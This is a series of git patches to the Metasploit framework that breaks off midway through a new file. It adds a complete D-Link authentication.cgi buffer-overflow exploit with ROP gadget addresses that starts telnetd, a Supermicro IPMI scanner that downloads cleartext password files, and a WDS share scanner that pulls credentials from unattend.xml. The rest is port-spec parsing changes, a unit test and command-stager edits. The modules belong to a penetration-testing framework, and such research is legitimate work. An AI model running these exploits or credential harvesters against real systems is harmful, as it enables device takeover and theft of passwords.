EXPLOIT::SMB and EXPLOIT::DCERPC - # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! - def srvsvc_netshareenum - simple.connect("IPC$") - handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) - begin - dcerpc_bind(handle) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - print_error("#{rhost} : #{e.message}") - return - end + # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC + # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! + def srvsvc_netshareenum + simple.connect("IPC$") + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost} : #{e.message}") + return + end - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(1) #level + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level - ref_id = stubdata[0,4].unpack("V")[0] - ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") - stubdata << ctr - stubdata << NDR.align(ctr) - stubdata << ["FFFFFFFF"].pack("H*") - stubdata << [ref_id + 8, 0].pack("VV") - response = dcerpc.call(0x0f, stubdata) - res = response.dup - win_error = res.slice!(-4, 4).unpack("V")[0] - if win_error != 0 - raise "DCE/RPC error : Win_error = #{win_error + 0}" - end - #remove some uneeded data - res.slice!(0,12) # level, CTR header, Reference ID of CTR - share_count = res.slice!(0, 4).unpack("V")[0] - res.slice!(0,4) # Reference ID of CTR1 - share_max_count = res.slice!(0, 4).unpack("V")[0] + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << ["FFFFFFFF"].pack("H*") + stubdata << [ref_id + 8, 0].pack("VV") + response = dcerpc.call(0x0f, stubdata) + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + if win_error != 0 + raise "DCE/RPC error : Win_error = #{win_error + 0}" + end + #remove some uneeded data + res.slice!(0,12) # level, CTR header, Reference ID of CTR + share_count = res.slice!(0, 4).unpack("V")[0] + res.slice!(0,4) # Reference ID of CTR1 + share_max_count = res.slice!(0, 4).unpack("V")[0] - raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count + raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count - types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment - share_count.times do |t| - length, offset, max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0 - raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length - name = res.slice!(0, 2 * length).gsub('\x00','') - res.slice!(0,2) if length % 2 == 1 # pad + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0 + raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length + name = res.slice!(0, 2 * length).gsub('\x00','') + res.slice!(0,2) if length % 2 == 1 # pad - comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 - if comment_length != comment_max_length - raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" - end - comment = res.slice!(0, 2 * comment_length).gsub('\x00','') - res.slice!(0,2) if comment_length % 2 == 1 # pad + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") + raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 + if comment_length != comment_max_length + raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" + end + comment = res.slice!(0, 2 * comment_length).gsub('\x00','') + res.slice!(0,2) if comment_length % 2 == 1 # pad - @shares << [ name, share_type(types[t]), comment] - end - end + @shares << [ name, share_type(types[t]), comment] + end + end - def run_host(ip) + def run_host(ip) - @shares = [] - deploy_shares = [] + @shares = [] + deploy_shares = [] - begin - connect - smb_login - srvsvc_netshareenum + begin + connect + smb_login + srvsvc_netshareenum - @shares.each do |share| - # I hate unicode, couldn't find any other way to get these to compare! - # look at iconv for 1.8/1.9 compatability? - if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) || - (share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*')) + @shares.each do |share| + # I hate unicode, couldn't find any other way to get these to compare! + # look at iconv for 1.8/1.9 compatability? + if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) || + (share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*')) - print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}") - deploy_shares << share[0] - end - end + print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}") + deploy_shares << share[0] + end + end - deploy_shares.each do |deploy_share| - query_share(ip, deploy_share) - end + deploy_shares.each do |deploy_share| + query_share(ip, deploy_share) + end - rescue ::Interrupt - raise $! - end - end + rescue ::Interrupt + raise $! + end + end - def query_share(rhost, deploy_share) - share_path = "\\\\#{rhost}\\#{deploy_share}" - print_status("Enumerating #{share_path}") - table = Rex::Ui::Text::Table.new({ - 'Header' => share_path, - 'Indent' => 1, - 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] - }) + def query_share(rhost, deploy_share) + share_path = "\\\\#{rhost}\\#{deploy_share}" + print_status("Enumerating #{share_path}") + table = Rex::Ui::Text::Table.new({ + 'Header' => share_path, + 'Indent' => 1, + 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] + }) - creds_found = false + creds_found = false - # ruby 1.8 compat? - share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip + # ruby 1.8 compat? + share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip - begin - simple.connect(share) - rescue ::Exception => e - print_error("#{share_path} - #{e}") - return - end + begin + simple.connect(share) + rescue ::Exception => e + print_error("#{share_path} - #{e}") + return + end - results = simple.client.file_search("\\", /unattend.xml$/i, 10) + results = simple.client.file_search("\\", /unattend.xml$/i, 10) - results.each do |file_path| - file = simple.open(file_path, 'o').read() + results.each do |file_path| + file = simple.open(file_path, 'o').read() - unless file.nil? - loot_unattend(file) + unless file.nil? + loot_unattend(file) - creds = parse_client_unattend(file) - creds.each do |cred| - unless cred.empty? - unless cred['username'].nil? || cred['password'].nil? - print_good("Retrived #{cred['type']} credentials from #{file_path}") - creds_found = true - domain = "" - domain = cred['domain'] if cred['domain'] - report_creds(domain, cred['username'], cred['password']) - table << [file_path, cred['type'], domain, cred['username'], cred['password']] - end - end - end - end - end + creds = parse_client_unattend(file) + creds.each do |cred| + unless cred.empty? + unless cred['username'].nil? || cred['password'].nil? + print_good("Retrived #{cred['type']} credentials from #{file_path}") + creds_found = true + domain = "" + domain = cred['domain'] if cred['domain'] + report_creds(domain, cred['username'], cred['password']) + table << [file_path, cred['type'], domain, cred['username'], cred['password']] + end + end + end + end + end - if creds_found - print_line - table.print - print_line - else - print_error("No Unattend files found.") - end - end + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files found.") + end + end - def parse_client_unattend(data) - begin - xml = REXML::Document.new(data) + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end - return Rex::Parser::Unattend.parse(xml).flatten - end + return Rex::Parser::Unattend.parse(xml).flatten + end - def loot_unattend(data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") - print_status("Raw version saved as: #{p}") - end + def loot_unattend(data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") + print_status("Raw version saved as: #{p}") + end - def report_creds(domain, user, pass) - report_auth_info( - :host => rhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) - end + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end end From 66252ba9e52c4855e800f6aaa650cafd552bdf27 Mon Sep 17 00:00:00 2001 From: Lutz Wolf Date: Thu, 8 May 2014 21:35:35 +0200 Subject: [PATCH 05/32] support negation in portspec --- lib/rex/socket.rb | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index e68a0263a6..ba510c5a80 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -505,14 +505,24 @@ module Socket end # - # Converts a port specification like "80,21-23,443" into a sorted, - # unique array of valid port numbers like [21,22,23,80,443] + # Converts a port specification like "80,21-25,!24,443" into a sorted, + # unique array of valid port numbers like [21,22,23,25,80,443] # def self.portspec_to_portlist(pspec) ports = [] + remove = [] # Build ports array from port specification pspec.split(/,/).each do |item| + item.strip! + + if item.starts_with? '!' then + negate = true + item.delete! '!' + else + negate = false + end + start, stop = item.split(/-/).map { |p| p.to_i } start ||= 0 @@ -520,11 +530,19 @@ module Socket start, stop = stop, start if stop < start - start.upto(stop) { |p| ports << p } + if negate then + start.upto(stop) { |p| remove << p } + else + start.upto(stop) { |p| ports << p } + end + end + + if ports.empty? and not remove.empty? then + ports = 1.upto 65535 end # Sort, and remove dups and invalid ports - ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 } + ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p } end # From b85c0b75430ef8a48e5144761f8c8a61e295f76f Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Fri, 23 May 2014 20:51:25 +0200 Subject: [PATCH 06/32] rop to system with telnetd --- .../http/dlink_authentication_rop_system.rb | 125 ++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_authentication_rop_system.rb diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system.rb b/modules/exploits/linux/http/dlink_authentication_rop_system.rb new file mode 100644 index 0000000000..7f73816900 --- /dev/null +++ b/modules/exploits/linux/http/dlink_authentication_rop_system.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it + + HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link routers. + This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the + DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated + environment. They are a little bit different in the first ROP gadget. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner ', # Metasploit module and verification on different other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' }, + 'References' => + [ + [ 'OSVDB', '95951' ], + [ 'EDB', '27283' ], + [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site + [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router + [ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory + ], + 'Targets' => + [ + [ 'DLink DIR-645 1.03 - start telnetd', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + lport = datastore['LPORT'] + cmd = "/usr/sbin/telnetd -p #{lport}" + + print_status("#{peer} - Trying to access the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + # prepare our shellcode that triggers the crash: + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + + # now lets rock it ... + + print_status("#{peer} - Sending exploit ...") + + res = send_request_cgi({ + 'method' => 'POST', + #'uri' => "/authentication_gdb.cgi", #for debugging on the router + 'uri' => "/authentication.cgi", + 'cookie' => "uid=test", + 'encode_params' => false, + 'vars_post' => { + 'uid' => 'test', + 'password' => 'asd' << shellcode, + } + }) + end +end From 4fc6e402dce1b1f24e1c9bc1e620468b6ef70c18 Mon Sep 17 00:00:00 2001 From: Lutz Wolf Date: Sat, 24 May 2014 23:44:50 +0200 Subject: [PATCH 07/32] Allow port 0 --- lib/rex/socket.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index ba510c5a80..db8206ce75 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -538,11 +538,11 @@ module Socket end if ports.empty? and not remove.empty? then - ports = 1.upto 65535 + ports = 0.upto 65535 end # Sort, and remove dups and invalid ports - ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p } + ports.sort.uniq.delete_if { |p| p < 0 or p > 65535 or remove.include? p } end # @@ -555,7 +555,7 @@ module Socket lastp = nil parr.uniq.sort{|a,b| a<=>b}.map{|a| a.to_i}.each do |n| - next if (n < 1 or n > 65535) + next if (n < 0 or n > 65535) if not lastp range = [n] lastp = n From fc5436417b8f431c8635b6a785b024859eedd223 Mon Sep 17 00:00:00 2001 From: Lutz Wolf Date: Sat, 24 May 2014 23:45:21 +0200 Subject: [PATCH 08/32] Simplification --- lib/rex/socket.rb | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index db8206ce75..e4aeb660ca 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -514,13 +514,13 @@ module Socket # Build ports array from port specification pspec.split(/,/).each do |item| + target = ports + item.strip! - if item.starts_with? '!' then - negate = true + if item.start_with? '!' item.delete! '!' - else - negate = false + target = remove end start, stop = item.split(/-/).map { |p| p.to_i } @@ -530,11 +530,7 @@ module Socket start, stop = stop, start if stop < start - if negate then - start.upto(stop) { |p| remove << p } - else - start.upto(stop) { |p| ports << p } - end + start.upto(stop) { |p| target << p } end if ports.empty? and not remove.empty? then From 2b75a53c9382f33d39555cdde454da8fbed749ae Mon Sep 17 00:00:00 2001 From: Lutz Wolf Date: Sat, 24 May 2014 23:46:26 +0200 Subject: [PATCH 09/32] Add basic rspec for portspec_to_portlist --- spec/lib/rex/socket_spec.rb | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 41c1abde79..3bc99de1bc 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -163,4 +163,35 @@ describe Rex::Socket do end end + + describe '.portspec_to_portlist' do + + portspec = '-1,0-10,!2-5,!7,65530-,65536' + context "'#{portspec}'" do + + subject { described_class.portspec_to_portlist portspec } + + it { should be_a(Array) } + + not_included = [] + not_included << -1 + not_included << 65536 + not_included.concat (2..5).to_a + not_included << 7 + not_included.each do |item| + it { should_not include item } + end + + included = [] + included << -1 + included.concat (0..10).to_a + included.concat (65530..65535).to_a + included << 65536 + included = included - not_included + included.each do |item| + it { should include item } + end + end + end + end From 81019ed850e43947f7df8ec08553ec712b0a35f9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 11 Jun 2014 15:03:54 -0500 Subject: [PATCH 10/32] Supermicro work --- .../scanner/http/smt_ipmi_49152_password.rb | 99 +++++++++++++++++++ .../http/smt_ipmi_url_redirect_traversal.rb | 6 +- 2 files changed, 103 insertions(+), 2 deletions(-) create mode 100644 modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb new file mode 100644 index 0000000000..fbd10a2588 --- /dev/null +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure', + 'Description' => %q{ + This module abuses a file exposure vulnerability accessible through the web interface + on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker + to obtain detailed device information and download data files containing the clear-text + usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs + were exposed to the internet with this vulnerability. + }, + 'Author' => + [ + 'Zach Wikholm ', # Discovery and analysis + 'John Matherly ', # Internet-wide scan + 'Dan Farmer ', # Additional investigation + 'hdm' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] + ], + 'DisclosureDate' => 'Jun XX 2014')) + + register_options( + [ + Opt::RPORT(49152) + ], self.class) + end + + def is_supermicro? + res = send_request_cgi( + { + "uri" => "/IPMIdevicedesc.xml", + "method" => "GET" + }) + + if res and res.code == 200 and res.body.to_s =~ /supermicro/i + path = store_loot( + 'supermicro.ipmi.devicexml', + 'text/xml', + rhost, + res.body.to_s, + 'IPMIdevicedesc.xml' + ) + print_good("#{peer} - Stored the device description XML in #{path}") + return true + else + return false + end + end + + + def run + + unless is_supermicro? + print_error("#{peer} - This does not appear to be a Supermicro IPMI controller") + return + end + + candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd } + + candidates.each do |uri| + res = send_request_cgi( + { + "uri" => uri, + "method" => "GET" + }) + + unless res.code == 200 and res.body.length > 0 + print_error("#{peer} - Could not download the PSBlock file") + return + end + + path = store_loot( + 'supermicro.ipmi.passwords', + 'application/octet-stream', + rhost, + res.body.to_s, + path.split('/').last + ) + print_good("#{peer} - Stored password block found at #{uri} in #{path}") + end + end + +end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 491fb9ff34..650c7bf569 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary a valid, but not necessarily administrator-level account, to access the contents of any file on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM) - with firmware version SMT_X9_214. + with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and + /wsman/simple_auth.passwd }, 'Author' => [ @@ -35,6 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ #[ 'CVE', '' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] + [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => 'Nov 06 2013')) @@ -133,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary file_name = my_basename(datastore['FILEPATH']) path = store_loot( - 'supermicro.ipmi.traversal', + 'supermicro.ipmi.traversal.psblock', 'application/octet-stream', rhost, contents, From 487bf219f0cdd8cb4f7bc39cff3e00a8225f87a9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 12 Jun 2014 11:23:34 -0500 Subject: [PATCH 11/32] Rename to match the title --- .../{smt_ipmi_49152_password.rb => smt_ipmi_49152_exposure.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/http/{smt_ipmi_49152_password.rb => smt_ipmi_49152_exposure.rb} (100%) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb similarity index 100% rename from modules/auxiliary/scanner/http/smt_ipmi_49152_password.rb rename to modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb From fa4e835804a263c835041b6681735fb0827fccc0 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 12 Jun 2014 11:52:34 -0500 Subject: [PATCH 12/32] Fix up scanner mixin usage, actual test/bug fix --- .../scanner/http/smt_ipmi_49152_exposure.rb | 16 ++++++++++------ .../http/smt_ipmi_url_redirect_traversal.rb | 8 +++++--- 2 files changed, 15 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index fbd10a2588..86b669b84d 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -9,7 +9,9 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + def initialize(info = {}) super(update_info(info, @@ -33,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], - 'DisclosureDate' => 'Jun XX 2014')) + 'DisclosureDate' => 'Jun 12 2014')) register_options( [ @@ -64,8 +66,8 @@ class Metasploit3 < Msf::Auxiliary end - def run - + def run_host(ip) + unless is_supermicro? print_error("#{peer} - This does not appear to be a Supermicro IPMI controller") return @@ -80,9 +82,11 @@ class Metasploit3 < Msf::Auxiliary "method" => "GET" }) + next unless res + unless res.code == 200 and res.body.length > 0 - print_error("#{peer} - Could not download the PSBlock file") - return + vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}") + next end path = store_loot( @@ -90,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary 'application/octet-stream', rhost, res.body.to_s, - path.split('/').last + uri.split('/').last ) print_good("#{peer} - Stored password block found at #{uri} in #{path}") end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index 650c7bf569..b8379cc162 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -9,8 +9,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + APP_NAME = "Supermicro web interface" def initialize(info = {}) @@ -34,8 +36,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - #[ 'CVE', '' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ] + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ], [ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py'] ], 'DisclosureDate' => 'Nov 06 2013')) @@ -109,7 +110,8 @@ class Metasploit3 < Msf::Auxiliary end end - def run + def run_host(ip) + print_status("#{peer} - Checking if it's a #{APP_NAME}....") if is_supermicro? print_good("#{peer} - Check successful") From 12ec785bdbddf3e1c96b5b331f0c780df6560728 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Sat, 14 Jun 2014 17:37:09 +0200 Subject: [PATCH 13/32] clean up, echo stager, concator handling --- lib/rex/exploitation/cmdstager/base.rb | 5 +- lib/rex/exploitation/cmdstager/echo.rb | 9 +- .../http/dlink_authentication_rop_system.rb | 2 +- .../dlink_authentication_rop_system_echo.rb | 134 ++++++++++++++++++ 4 files changed, 146 insertions(+), 4 deletions(-) create mode 100644 modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb diff --git a/lib/rex/exploitation/cmdstager/base.rb b/lib/rex/exploitation/cmdstager/base.rb index 713be53a3f..c2c33bb080 100644 --- a/lib/rex/exploitation/cmdstager/base.rb +++ b/lib/rex/exploitation/cmdstager/base.rb @@ -127,7 +127,10 @@ class CmdStagerBase def compress_commands(cmds, opts) new_cmds = [] line = '' - concat = cmd_concat_operator + + concator = ";" + concator = opts[:concator] if opts[:concator] + concat = cmd_concat_operator(concator) # We cannot compress commands if there is no way to combine commands on # a single line. diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 0891a4b625..9cae5a01c2 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -155,8 +155,13 @@ class CmdStagerEcho < CmdStagerBase return fixed_part end - def cmd_concat_operator - " ; " + def cmd_concat_operator(concator) + if concator =~ /&&/ + " && " + else + # default value + " ; " + end end end diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system.rb b/modules/exploits/linux/http/dlink_authentication_rop_system.rb index 7f73816900..0f997dadbf 100644 --- a/modules/exploits/linux/http/dlink_authentication_rop_system.rb +++ b/modules/exploits/linux/http/dlink_authentication_rop_system.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], - 'Arch' => ARCH_MIPSLE, + 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' }, 'References' => [ diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb b/modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb new file mode 100644 index 0000000000..de33e9c1ee --- /dev/null +++ b/modules/exploits/linux/http/dlink_authentication_rop_system_echo.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link routers. + This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the + DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated + environment. They are a little bit different in the first ROP gadget. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner ', # Metasploit module and verification on different other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + [ 'OSVDB', '95951' ], + [ 'EDB', '27283' ], + [ 'URL', 